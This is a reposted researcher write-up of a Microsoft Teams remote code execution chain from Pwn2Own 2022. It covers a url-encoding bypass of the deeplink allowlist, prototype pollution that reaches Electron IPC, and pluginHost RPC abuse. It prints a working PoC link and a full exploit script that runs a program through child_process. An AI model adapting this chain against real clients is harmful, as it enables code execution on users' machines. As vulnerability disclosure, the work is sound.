2022 Microsoft Teams RCE

Nytro · January 25, 2023

2022 Microsoft Teams RCE

Jan 16, 2023

Me (@adm1nkyj1) and jinmo123 of theori(@jinmo123) participated pwn2own 2022 vancouver but we failed because of time allocation issue

but our bug and the exploit was really cool so decided to share on blog!

Executive Summary

The deeplink handler for /l/task/:appId in Microsoft Teams can load an arbitrary url in webview/iframe. Attacker can leaverage this with teams RPC’s functionality to get code execution outside the sandbox.

1. URL allowlist bypass using url encoding

URL Route example

...
k(p.states.appDeepLinkTaskModule, {
    url: "l/task/:appId?url&height&width&title&fallbackURL&card&completionBotId"
}),
k(p.states.appSfbFreQuickStartVideo, {
    url: "sfbfrequickstartvideo"
}),
k(p.states.appDeepLinkMeetingCreate, {
    url: "l/meeting/new?meetingType&groupId&tenantId&deeplinkId&attendees&subject&content&startTime&endTime&nobyoe&qsdisclaimer"
}),
k(p.states.appDeepLinkMeetingDetails, {
    url: "l/meeting/:tenantId/:organizerId/:threadId/:messageId?deeplinkId&nobyoe&qsdisclaimer"
}),
k(p.states.appDeepLinkMeetingDetailsEventId, {
    url: "l/meeting/details?eventId&deeplinkId"
}),
k(p.states.appDeepLinkVirtualEventCreate, {
    url: "l/virtualevent/new?eventType"
}),
k(p.states.appDeepLinkVirtualEventDetails, {
    url: "l/virtualevent/:eventId"
}),
...

In Microsoft Teams, there is a url route handler for /l/task/:appId which accepts url as a parameter. This allows chat bot created by Teams applications to send a link to user, which should be in the url allowlist.

The allowlist is constructed from various fields of app definition:

    a = angular.isDefined(e.validDomains) ? _.clone(e.validDomains) : [];
return e.galleryTabs && a.push.apply(a, _.map(e.galleryTabs, function (e) {
    return i.getValidDomainFromUrl(e.configurationUrl)
})), e.staticTabs && a.push.apply(a, _.map(e.staticTabs, function (e) {
    return i.getValidDomainFromUrl(e.contentUrl)
})), e.connectors && a.push.apply(a, _.map(e.connectors, function (e) {
    return i.utilityService.parseUrl(e.configurationUrl).host

These domains are converted into regular expressions, and are used to validate the url:

… www.office.com www.github.com …

```js
...
t.prototype.isUrlInDomainList = function(e, t, n) {
    void 0 === n && (n = !1);
    for (var i = n ? e : this.parseUrl(e).href, s = 0; s < t.length; s++) {
        for (var a = "", r = t[s].split("."), o = 0; o < r.length; o++)
            a += (o > 0 ? "[.]" : "") + r[o].replace("*", "[^/^.]+");
        var c = new RegExp("^https://" + a + "((/|\\?).*)?$","i");
        if (e.match(c) || i.match(c))
            return !0
    }
    return !1
}
...

Regardless of the third parameter n, if the original url matches the given regular expression, this check is passed. After checking the url, instead, the parsed form (parseUrl) is passed to webview.

e.prototype.setContainerUrl = function(e) {
    var t = this;
    this.sdkWindowMessageHandler && (this.sdkWindowMessageHandler.destroy(),
    this.sdkWindowMessageHandler = null);
    var n = this.utilityService.parseUrl(e);
    this.$q.when(this.htmlSanitizer.sanitizeUrl(n.href, ["https"])).then(function(e) {
        t.frameSrc = e
    })
}

This is problematic because parseUrl of utilityService url-decodes the url; the check is done on the original, url-encoded url. Especially, when an allowlisted domain contains wildcard e.g. *.office.com, the generated regular expression is /^https://[^/^.]+[.]office[.]com((/|\?).*)?$/i. The wildcard becomes [^/^.]+, but if the given url is https://attacker.com%23.office.com, the check is passed. However, after decoding the url, this becomes https://attacker.com#.office.com, which loads attacker.com instead.

Microsoft Planner app (appId: 1ded03cb-ece5-4e7c-9f73-61c375528078) has a domain with wildcard in its validDomains field:

{
    "manifestVersion": "1.7",
    "version": "0.0.19",
    "categories": [
        "Microsoft",
        "Productivity",
        "ProjectManagement"
    ],
    "disabledScopes": [
        "PrivateChannel"
    ],
    "developerName": "Microsoft Corporation",
    "developerUrl": "https://tasks.office.com",
    "privacyUrl": "https://privacy.microsoft.com/privacystatement",
    "termsOfUseUrl": "https://www.microsoft.com/servicesagreement",
    "validDomains": [
        "tasks.teams.microsoft.com",
        "retailservices.teams.microsoft.com",
        "retailservices-ppe.teams.microsoft.com",
        "tasks.office.com",
        "*.office.com"
    ],
...
}

As a result, this bug allows the attacker to load an arbitrary location into a webview.

PoC:
https://teams.live.com/_#/l/task/1ded03cb-ece5-4e7c-9f73-61c375528078?url=https://attacker.com%23.office.com/&height=100&width=100&title=hey&fallbackURL=https://aka.ms/hey&completionBotId=1&fqdn=teams.live.com

2. pluginHost allows dangerous RPC calls from any webview

Since contextIsolation is not enabled on the webview, attacker can leverage prototype pollution to invoke arbitrary electron IPC calls to processes (see Appendix section).

Given this primitive, attacker can invoke 'calling:teams:ipc:initPluginHost' IPC call of main process, which gives the id of the pluginHost window.

pluginHost exposes dangerous RPC calls to any webview e.g. returning a member of ‘registered objects’, calling them, and importing some allowlisted modules.

lib/pluginhost/preload.js:

// n, o is controllable
P(c.remoteServerMemberGet, (e, t, n, o) => {
  const i = s.objectsRegistry.get(n);
  if (null == i)
    throw new Error(
      `Cannot get property '${o}' on missing remote object ${n}`
    );
  return A(e, t, () => i[o]);
}),

// n, o, i is controllable
P(c.remoteServerMemberCall, (e, t, n, o, i) => {
  i = v(e, t, i);
  const r = s.objectsRegistry.get(n);
  if (null == r)
    throw new Error(
      `Cannot call function '${o}' on missing remote object ${n}`
    );
  return A(e, t, () => r[o](...i));
}),

Attacker can get the constructor of any objects, and the constructor of the constructor (Function) to compile arbitrary JavaScript code, and call the compiled function.

[_,pluginHost]=ipc.sendSync('calling:teams:ipc:initPluginHost', []);
msg=ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_MEMBER_GET', [{hey: 1}, 1, 'constructor', []], '')[0].id
msg=ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_MEMBER_CALL', [{hey: 1}, msg, 'constructor', [{type: 'value', value: 'alert()'}]], '')[0].id

require() is not exposed to the script itself, but the attacker-controlled script can overwrite prototype of String, which is useful in this code:

function loadSlimCore(slimcoreLibPath) {
let slimcore;
if (utility.isWebpackRuntime()) {
  const slimcoreLibPathWebpack = slimcoreLibPath.replace(/\\/g, "\\\\");
  slimcore = eval(`require('${slimcoreLibPathWebpack}')`);
...
}
...
function requireEx(e, t) {
...
const { slimCoreLibPath: n, error: o } =
  electron_1.ipcRenderer.sendSync(
    constants.events.calling.getSlimCoreLibInfo
  );
if (o) throw new Error(o);
if (t === n) return loadSlimCore(n);
// n === 'slimcore'
throw new Error("Invalid module: " + t);
}

// y === requireEx
P(c.remoteServerRequire, (e, t, n) => A(e, t, () => y(e, n))),

If the attacker calls remoteServerRequire with 'slimcore' as an argument, the pluginHost evaluates string returned by String.prototype.replace. Therefore, the following code can invoke require with arbitrary arguments, and call methods in the module.

msg=ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_MEMBER_CALL', [{hey: 1}, msg, 'constructor', [{type: 'value', value: 'var backup=String.prototype.replace; String.prototype.replace = ()=>"slimcore\');require(`child_process`).exec(`calc.exe`);(\'";'}]], '')[0].id
ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_FUNCTION_CALL', [{hey: 1}, msg, []], '')
ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_REQUIRE', [{hey: 1}, 'slimcore'], '')

By using child_process module, attacker can execute any program.

Appendix A: Accessing any bundled modules when contextIsolation is not enabled between preload script and web pages

Electron compiles and executes a script named sandbox_bundle.js in every sandboxed frame, and it registers a handler that shows security warnings if user wants.

To enable the security warning, users can set ELECTRON_ENABLE_SECURITY_WARNINGS either in environment variables or window.

lib/renderer/security-warnings.ts#L43-L46:

  if ((env && env.ELECTRON_ENABLE_SECURITY_WARNINGS) ||
      (window && window.ELECTRON_ENABLE_SECURITY_WARNINGS)) {
    shouldLog = true;
  }

This is called on ‘load’ event of the window:

export function securityWarnings (nodeIntegration: boolean) {
  const loadHandler = async function () {
    if (shouldLogSecurityWarnings()) {
      const webPreferences = await getWebPreferences();
      logSecurityWarnings(webPreferences, nodeIntegration);
    }
  };
  window.addEventListener('load', loadHandler, { once: true });
}

security-warnings.ts is also bundled to sandbox_bundle.js using webpack. There is an import of webFrame, which lazily loads the “./lib/renderer/api/web-frame.ts”.

import { webFrame } from 'electron';
...
const isUnsafeEvalEnabled = () => {
  return webFrame._isEvalAllowed();
};
// this is called by warnAboutInsecureCSP + logSecurityWarnings

This is done by electron.ts:

import { defineProperties } from '@electron/internal/common/define-properties';
import { moduleList } from '@electron/internal/sandboxed_renderer/api/module-list';

module.exports = {};

defineProperties(module.exports, moduleList);

In define-properties.ts, it defines getter for all modules in moduleList; loader is invoked when a module e.g. webFrame is accessed.

const handleESModule = (loader: ElectronInternal.ModuleLoader) => () => {
  const value = loader();
  if (value.__esModule && value.default) return value.default;
  return value;
};

// Attaches properties to |targetExports|.
export function defineProperties (targetExports: Object, moduleList: ElectronInternal.ModuleEntry[]) {
  const descriptors: PropertyDescriptorMap = {};
  for (const module of moduleList) {
    descriptors[module.name] = {
      enumerable: !module.private,
      get: handleESModule(module.loader)
    };
  }
  return Object.defineProperties(targetExports, descriptors);
}

The loader for webFrame is defined in the moduleList:

export const moduleList: ElectronInternal.ModuleEntry[] = [
  {
...
  {
    name: 'webFrame',
    loader: () => require('@electron/internal/renderer/api/web-frame')
  },

Which is compiled as:

}, {
    name: "webFrame",
    loader: ()=>r(/*! @electron/internal/renderer/api/web-frame */
    "./lib/renderer/api/web-frame.ts")
}, {

The function r above is __webpack_require__, which actually loads the module if not loaded yet.

function __webpack_require__(r) {
    if (t[r])
        return t[r].exports;

Here, t is the list of cached modules. If the module is not loaded by any code, t[r] is undefined. Also, t.__proto__ points Object.prototype, so attacker can install getter for the module path to get the whole list of cached modules.

const KEY = './lib/renderer/api/web-frame.ts';
let modules;
Object.prototype.__defineGetter__(KEY, function () {
    console.log(this);
    modules = this;
    delete Object.prototype[KEY];
    main();
})

This enables attacker to get the @electron/internal/renderer/api/ipc-renderer module to send any IPCs to any processes.

var ipc = modules['./lib/renderer/api/ipc-renderer.ts'].exports.default;
[_, pluginHost] = ipc.sendSync('calling:teams:ipc:initPluginHost', []);

We utilized this to send IPC to pluginHost (see Section 2), and execute a program outside the sandbox.

Exploit

Client :
https://teams.live.com/l/task/1ded03cb-ece5-4e7c-9f73-61c375528078?url=https://0e1%2Ekr\cd2c4753c4cb873c7be66e3ffdeae71f71ce33482e9921bab01dc3670a3b4f95\%23.office.com/&height=100&width=100&title=hey&fallbackURL=https://aka.ms/hey&completionBotId=&fqdn=teams.live.com

Server :

<script>
  const KEY = './lib/renderer/api/web-frame.ts';
  let modules;
  Object.prototype.__defineGetter__(KEY, function () {
    console.log(this);
    modules = this;
    delete Object.prototype[KEY];
    main();
  })

  window.ELECTRON_ENABLE_SECURITY_WARNINGS = true;

  function main() {
    var ipc = modules['./lib/renderer/api/ipc-renderer.ts'].exports.default;
    [_, pluginHost] = ipc.sendSync('calling:teams:ipc:initPluginHost', []);
    msg = ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_REQUIRE', [{ hey: 1 }, 'slimcore'], '')[0]
    msg = ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_MEMBER_GET', [{ hey: 1 }, msg.id, 'constructor', []], '')[0]
    msg = ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_MEMBER_CALL', [{ hey: 1 }, msg.id, 'constructor', [{ type: 'value', value: 'var backup=String.prototype.replace; String.prototype.replace = ()=>"slimcore\');require(`child_process`).exec(`calc.exe`);(\'";' }]], '')[0]
    ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_FUNCTION_CALL', [{ hey: 1 }, msg.id, []], '')
    msg = ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_REQUIRE', [{ hey: 1 }, 'slimcore'], '')
  }
</script>

Sursa: https://blog.pksecurity.io/2023/01/16/2022-microsoft-teams-rce.html

Sign In

2022 Microsoft Teams RCE

Recommended Posts

Nytro